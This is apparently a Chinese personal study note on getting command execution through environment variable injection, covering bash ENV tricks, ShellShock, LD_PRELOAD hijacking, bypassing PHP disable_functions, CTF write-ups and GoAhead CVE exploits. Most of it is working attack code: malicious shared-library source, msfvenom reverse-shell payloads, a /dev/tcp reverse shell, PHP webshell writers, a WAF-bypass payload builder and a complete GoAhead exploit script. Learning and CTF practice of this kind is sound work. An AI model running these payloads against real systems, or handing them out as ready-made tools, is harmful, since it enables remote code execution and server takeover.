普通环境变量

我是如何利用环境变量注入执行任意命令

ENV='$(id 1>&2)' dash -i -c 'echo hello'
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
ENV='$(id 1>&2)' sh -i -c "echo hello"
PROMPT_COMMAND='id' bash	# 执行命令后给出交互shell debian无
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'	# bash 4.4及以后
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"	# bash 4.4以前

ShellShock / CVE-2014-6271

ShellShock漏洞回顾与分析测试 | 复现 - vulhub

应用于bash 4.3及以前

$ env TEST='() { :; };' id;
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

image-20220323180512946

对于vulhub的环境,还可以在UA头注入

$ curl -H 'User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id'  http://127.0.0.1:8080/victim.cgi -i

image-20220323181632204

image-20220323181715322

对于当时的各大web服务来说影响相当广泛,只要是运行CGI相关服务的系统都存在被利用的可能(因为会在底层调用bash),比如

  • 运行CGI脚本(通过mod_cgi 和 mod_cgid)的Apache HTTP 服务器;
  • 某些DHCP客户端;
  • 使用Bash的各种网络服务;
  • 使用ForceCommand功能的 OpenSSH 服务器;
  • 使用CGI作为网络接口的基于Linux的路由器;
  • 使用bash的各种嵌入式设备。
  • ……

LD_PRELOAD

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("ls / > /var/www/html/look");
    // system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
    // system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/ame.php");
}
$ gcc -fPIC -shared evil.c -o evil.so
$ msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp lhost=192.168.31.29 lport=8426 -f elf-so -o evil.so

加载恶意.so文件来劫持任意函数,常出现于bypass disable_functions和打redis中

当web服务提供了自定义环境变量的接口,也可以用它来rce

bypass disable_functions

浅谈几种Bypass disable_functions的方法

getuid

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int geteuid() {
        const char* cmdline = getenv("EVIL_CMDLINE");
        if (getenv("LD_PRELOAD") == NULL) { return 0; }
        unsetenv("LD_PRELOAD");
        system(cmdline);
}
$ gcc -shared -fPIC test.c -o test.so
<?php
    echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    unlink($out_path);
?>
url/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/test.so

原理是利用mail触发sendmail,再触发getuid(已被我们的.so劫持),最后执行命令

preload

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}
$ gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    unlink($out_path);
?>
url/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/test.so

这个属于格局打开,不局限于劫持某个函数,而是通过preload拦截启动进程

in CTF

[PlaidCTF 2021]

wp

[pbCTF 2021]Advancement

wp | wp2 | HACKING WITH ENVIRONMENT VARIABLES Interesting environment variables to supply to scripting language interpreters

是GoAhead框架,在route.txt中增加cgi路由

route uri=/cgi-bin handler=cgi
route uri=/ redirect=/cgi-bin/date handler=redirect

以及/cgi-bin下的cgi脚本

#!/usr/bin/env python3

from datetime import date

print("Content-Type: text/plain")
print()

today = date.today()
print("Today's date:", today)

而由GoAhead的cve我们知道(但好像这个题在当时是day题 没有公开的cve-2021-42342 而这里用的就是这个),上传表单键值对可以写入环境变量中,我们选择在PYTHONWARNINGS环境变量引入其它模块,再通过antigravity模块对于browser环境变量启动响应的进程,配合perl+PERL5OPT环境变量进行rce(更多内容参见上面的文章

$ curl -F "PYTHONWARNINGS=all:0:antigravity.x:0:0" -F "BROWSER=perlthanks" -F 'PERL5OPT=-Mbase;print(system("cat".chr(0x20)."/flag"));exit;' http://advancement.chal.perfect.blue

————p牛在vulhub中给出的poc用的是LD_PRELOAD,但是由于这个题目的相关目录/etc/goahead/tmp是只读的,所以无法构造上传表单传.so

[湖湘杯2021 线下]MultistageAgency

wp1 | wp2

有proxy和web两个web用户起的服务,server由root起

proxy在内网的8080端口,主要提供返回Secretkey的功能

package main
import (
    "github.com/elazarl/goproxy"
    "io/ioutil"
    "log"
    "net/http"
    "os"
)
func main() {
    file, err := os.Open("secret/key") // 读取当前目录下的key
    if err != nil {
        panic(err)
    }
    defer file.Close()
    content, err := ioutil.ReadAll(file)
    SecretKey := string(content)
    proxy := goproxy.NewProxyHttpServer()
    proxy.Verbose = true
    proxy.OnRequest().DoFunc(
        func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
            r.Header.Set("Secretkey",SecretKey) // 返回包的请求头设置Secretkey
            return r,nil
        })
    log.Print("start listen 8080")
    log.Fatal(http.ListenAndServe(":8080", proxy))
}

9091端口server,有命令注入点/manage和一个waf,并且需要本地ip访问

package main
import (
    "bytes"
    "crypto/md5"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "os"
    "os/exec"
    "unicode"
)
// 检查来源ip为本地才继续执行
var SecretKey = ""

func getToken(w http.ResponseWriter, r *http.Request) {
    header := r.Header
    token := "error"
    var sks []string = header["Secretkey"]
    sk := ""
    if len(sks) == 1 {
        sk = sks[0]
    }
    var fromHosts []string = header["Fromhost"]
    fromHost := ""
    if len(fromHosts) == 1 {
        fromHost = fromHosts[0]
    }
    if fromHost != "" && sk != "" && sk == SecretKey {
        data := []byte(sk + fromHost)
        has := md5.Sum(data)
        token = fmt.Sprintf("%x", has)
    }
    fmt.Fprintf(w, token)
}

func manage(w http.ResponseWriter, r *http.Request) {
    values := r.URL.Query()
    m := values.Get("m")	// get方式传入m参数
    if !waf(m) {
        fmt.Fprintf(w, "waf!")
        return
    }
    cmd := fmt.Sprintf("rm -rf uploads/%s", m)	// 删除uploads/{m}下所有内容
    fmt.Println(cmd)
    command := exec.Command("bash", "-c", cmd)	// 命令注入点
    outinfo := bytes.Buffer{}
    outerr := bytes.Buffer{}
    command.Stdout = &outinfo
    command.Stderr = &outerr
    err := command.Start()
    res := "ERROR"
    if err != nil {
        fmt.Println(err.Error())
    }
    if err = command.Wait(); err != nil {
        res = outerr.String()
    } else {
        res = outinfo.String()
    }
    fmt.Fprintf(w, res)
}

func waf(c string) bool {
    var t int32
    t = 0
    blacklist := []string{".", "*", "?"}	// 黑名单
    for _, s := range c {
        for _, b := range blacklist {
            if b == string(s) {
                return false
            }
        }
        if unicode.IsLetter(s) {	// 是否为字母
            if t == s {
                continue	// 如果下一个字符ascii==上一个字符 则继续
            }
            if t == 0 {
                t = s
            } else {
                return false
            }
        }
    }
    return true
}

func main() {
    file, err := os.Open("secret/key")
    if err != nil {
        panic(err)
    }
    defer file.Close()
    content, err := ioutil.ReadAll(file)
    SecretKey = string(content)
    http.HandleFunc("/", getToken)
    http.HandleFunc("/manage", manage)
    log.Print("start listen 9091")
    err = http.ListenAndServe(":9091", nil) // 监听端口 9091
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

web服务,对外访问

package main
import (
	"bytes"
	"crypto/md5"
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"math/rand"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
)
var SecretKey = ""

type TokenResult struct {
	Success string json:"success"
	Failed string json:"failed"
}

const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

func RandStringBytes(n int) string {
	b := make([]byte, n)
	for i := range b {
		b[i] = letterBytes[rand.Intn(len(letterBytes))]
	}
	return string(b)
}

func getToken(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	fromHostList := strings.Split(r.RemoteAddr, ":") // 获取来源ip
	fromHost := ""
	if len(fromHostList) == 2 {
		fromHost = fromHostList[0]
	}
	r.Header.Set("Fromhost", fromHost)
	command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")	// 本地curl访问9091
	for k, _ := range values {
		command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k))) //获取环境变量 将参数键值对形式设为环境变量
	}
	outinfo := bytes.Buffer{}
	outerr := bytes.Buffer{}
	command.Stdout = &outinfo
	command.Stderr = &outerr
	err := command.Start()
	// res := "ERROR"
	if err != nil {
		fmt.Println(err.Error())
	}
	res := TokenResult{}
	if err = command.Wait(); err != nil {
		res.Failed = outerr.String()
	}
	res.Success = outinfo.String()
	msg, _ := json.Marshal(res)
	w.Write(msg)
}

type ListFileResult struct {
	Files []string json:"files"
}
// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	token := values.Get("token")
	fromHostList := strings.Split(r.RemoteAddr, ":")
	fromHost := ""
	if len(fromHostList) == 2 {
		fromHost = fromHostList[0]
	}
	// 验证token
	if token != "" && checkToken(token, fromHost) {
		dir := filepath.Join("uploads",token)  // 带着token获取已经上传的文件
		files, err := ioutil.ReadDir(dir)
		if err == nil {
			var fs []string
			for _, f := range files {
				fs = append(fs, f.Name())
			}
			msg, _ := json.Marshal(ListFileResult{Files: fs})
			w.Write(msg)
		}
	}
}

type UploadFileResult struct {
	Code string json:"code"
}

func uploadFile(w http.ResponseWriter, r *http.Request) {
	if r.Method == "GET" {
		fmt.Fprintf(w, "get")
	} else {
		values := r.URL.Query()
		token := values.Get("token")	// get方式传入token参数
		fromHostList := strings.Split(r.RemoteAddr, ":")
		fromHost := ""
		if len(fromHostList) == 2 {
			fromHost = fromHostList[0]
		}
		// 验证token
		if token != "" && checkToken(token, fromHost) {
			dir := filepath.Join("uploads",token) // 将获取到的token新建文件夹
			if _, err := os.Stat(dir); err != nil {
				os.MkdirAll(dir, 0766)
			}
			files, err := ioutil.ReadDir(dir)
			if len(files) > 5 {
				command := exec.Command("curl", "127.0.0.1:9091/manage") // 如果文件大于五个 则本地访问9091/manage删除所有文件
				command.Start()
			}
			r.ParseMultipartForm(32 << 20)
			file, _, err := r.FormFile("file")
			if err != nil {
				msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
				w.Write(msg)
				return
			}
			defer file.Close()
			fileName := RandStringBytes(5)
			f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
			if err != nil {
				fmt.Println(err)
				return
			}
			defer f.Close()
			io.Copy(f, file)
			msg, _ := json.Marshal(UploadFileResult{Code: fileName})
			w.Write(msg)
		} else {
			msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
			w.Write(msg)
		}
	}
}

func checkToken(token, ip string) bool {
	data := []byte(SecretKey + ip)
	has := md5.Sum(data)
	md5str := fmt.Sprintf("%x", has)
	return md5str == token
}

func IndexHandler (w http.ResponseWriter, r *http.Request) {
	http.ServeFile(w, r,"dist/index.html")
}

func main() {
	file, err := os.Open("secret/key")	// 读secret/key
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey = string(content)
	http.HandleFunc("/", IndexHandler)
	fs := http.FileServer(http.Dir("dist/static"))
	http.Handle("/static/", http.StripPrefix("/static/", fs))
	http.HandleFunc("/token", getToken)
	http.HandleFunc("/upload", uploadFile)
	http.HandleFunc("/list", listFile)
	log.Print("start listen 9090")
	err = http.ListenAndServe(":9090", nil)
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
}

所以我们需要SSRF访问9091端口的/manage 并且绕waf进行命令注入读flag

注意到web服务的/token路由可以设置环境变量,我们自然想到利用LD_PRELOAD和恶意.so来劫持系统函数进行rce

传文件,通过web的/token?http_proxy=http://127.0.0.1:8080可以获得当前token(即上传目录

之后上传恶意.so

#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("_evilcmd"));
}
$ gcc -shared -fPIC e.c -o e.so

/token?LD_PRELOAD=/code/uploads/{token}&_evilcmd=ls%20-l%20/&http_proxy=127.0.0.1:8080下进行注入,成功rce

之后弹个shell

最后,对于waf,用这个(之前也见过

n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd):
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s
def build(cmd):
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''
print(build('cat /flag'))

curl "http://localhost:9091/manage?m=%3b{urlencode(payload)}"

[虎符CTF 2022]ezphp

wp

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

oneline php,看到这个putenv再结合前面的栗子应该不陌生了就,结合Nginx上传临时文件 传.so

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/ame.php");
}
$ gcc -fPIC -shared evil.c -o evil.so
import  threading, requests
URL2 = f'http://127.0.0.1:30002/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False


def uploader():
    print('[+] starting uploader')
    with open("exp.so","rb") as f:
        data = f.read()
    while not done:
        requests.get(URL2, data=data)
for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()
def bruter(pid):
    global done
    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            try:
                requests.get(URL2, params={
                    'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
                })
            except:
                pass


for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

Real World

GoAhead / CVE-2017-17562

GoAhead: 2.5 ~ 3.6.5

复现 - vulhub | REMOTE LD_PRELOAD EXPLOITATION GoAhead: Make My Day

GoAhead可以运行asp,js和标准的CGI程序,漏洞发生在运行CGI程序时

在收到请求后会从url参数中取出键值对并注册进CGI程序的环境变量,且只过滤了REMOTE_HOSTHTTP_AUTHORIZATION,而Linux下LD_开头的环境变量和动态链接库有关,比如LD_PRELOAD指定的动态链接库会自动加载,LD_LIBRARY_PATH指定的路径,程序会去其中寻找动态链接库

我们可以指定LD_PRELOAD=/proc/self/fd/0,因为/proc/self/fd/0是标准输入,而CGI程序中,POST数据流即为标准输入流,我们发送.so给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就会加载我们发送的动态链接库,造成RCE

测试一个hello world的.so

#include <unistd.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void){
	write(1, "Hello: World!\n", 14);
}
$ gcc -shared -fPIC hello.c -o hello.so
$ curl -X POST --data-binary @hello.so "url/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

image-20220322204516436

成功作为响应头输出;尝试反弹shell

$ msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp lhost=192.168.31.29 lport=8426 -f elf-so -o p.so
$ curl -X POST --data-binary @p.so "http://192.168.31.214:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

image-20220322213915833

GoAhead / CVE-2021-42342

复现 - vulhub | GoAhead环境变量注入复现踩坑记

新的洞是对之前的一次绕过,补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量,但由于这个限制使用错了函数,导致实际上并没有生效;补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量,但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量

注意,新版本的GoAhead默认没有开启CGI,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响

旧的洞是通过设置LD_PRELOAD=/proc/self/fd/0 同时将恶意.so作为body传入,做到rce的效果,而这里我们需要在body中发送,所以我们选择提前在服务器上上传.so,之后再把LD_PRELOAD设置为这个文件的路径

与PHP一样,GoAhead在遇到上传内容时会存在临时文件,不过这里的坑在于临时文件的目录配置

#ifndef ME_GOAHEAD_UPLOAD_DIR
    #define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif

PUBLIC void websUploadOpen(void)
{
    uploadDir = ME_GOAHEAD_UPLOAD_DIR;
    if (*uploadDir == '\0') {
#if ME_WIN_LIKE
        uploadDir = getenv("TEMP");
#else
        uploadDir = "/tmp";
#endif
    }
    trace(4, "Upload directory is %s", uploadDir);
    websDefineHandler("upload", 0, uploadHandler, 0, 0);
}

如果宏ME_GOAHEAD_UPLOAD_DIR没有定义,则uploadDir=/tmp,而这个宏一定不为空,所以直接就是tmp,这个相对目录取决于pwd,而pwd是GoAhead启动时--home参数指定的,是存放配置文件的目录

如果--home /etc/goahead,那临时文件默认在/etc/goahead/tmp,如果这个目录不存在或者不可写,那么就会出现上传时500,一旦目标没有正常配置这个目录,就无法攻击(或者参见pbCTF2021 advancement的wp,使用python

这里直接修改Dockerfile来指定临时文件目录

make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"

尝试hello world

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World\r\n\r\n", 16);
    write(1, "Hacked\n", 7);
}
$ gcc -shared -fPIC hello.c -o hello.so
$ curl -v -F data=@hello.so -F "LD_PRELOAD=/proc/self/fd/7" "url/cgi-bin/test" -i

image-20220323001558145

查看日志报Too big错误

#ifndef ME_GOAHEAD_LIMIT_POST
    #define ME_GOAHEAD_LIMIT_POST 16384
#endif

最大16384字节,我们在gcc时增加-s参数来减小体积

$ gcc -s -shared -fPIC hello.c -o hello.so
$ curl -v -F data=@hello.so -F "LD_PRELOAD=/proc/self/fd/7" "http://192.168.31.214:8080/cgi-bin/test"

结果报404,fd/n这样的文件描述符对应的内容都无法打开,p牛猜测的可能是:CGI执行到这里时,被打开的临时文件描述符已经关闭,所以无法打开

照这样的推测,我们可以想到条件竞争,一个上传一个包含,或者是给.so文件后增加脏字符 但是CL头的长度小于最终数据包的大小,这样GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕

首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD,值是文件描述符,一般是/proc/self/fd/7,之后对之前的数据包.so末尾增加几千个字节的脏字符,比如说a,之后将数据包的CL设置为不超过16384的值,但比payload.so文件的大小要大个500字节左右

由于上传流程没有结束,所以此时文件描述符是没有关闭的,可以通过/proc/self/fd/7读取到,脏字符也不影响动态链接库的加载和运行,最后即可成功完成劫持

p牛已经写好了脚本

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
    data = data.encode().replace(b'#payload#', payload)
    client.send(data)
    resp = client.recv(20480)
    print(resp.decode())


def main():
    target = sys.argv[1]
    payload_filename = sys.argv[2]

    with open(payload_filename, 'rb') as f:
        data = f.read()

    if len(data) > PAYLOAD_MAX_LENGTH:
        raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

    parts = urlparse(target)
    port = parts.port
    if not parts.port:
        if parts.scheme == 'https':
            port = 443
        else:
            port = 80

    context = ssl.create_default_context()
    with socket.create_connection((parts.hostname, port), timeout=8) as client:
        if parts.scheme == 'https':
            with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
                exploit(ssock, parts, data)

        else:
            exploit(client, parts, data)


if __name__ == '__main__':
    main()
$ python3 poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so

image-20220323003607010

成功劫持

————由于最近也学习了CL&TE头的相关内容,再看到这里的实现细节感觉还挺亲切的(说明自己学的实在太少了(


是学习笔记,有很多疏漏还请谅解(

一直不开学,在家几个月多少有点懈怠,但是时间不等人啊,不要荒废了自己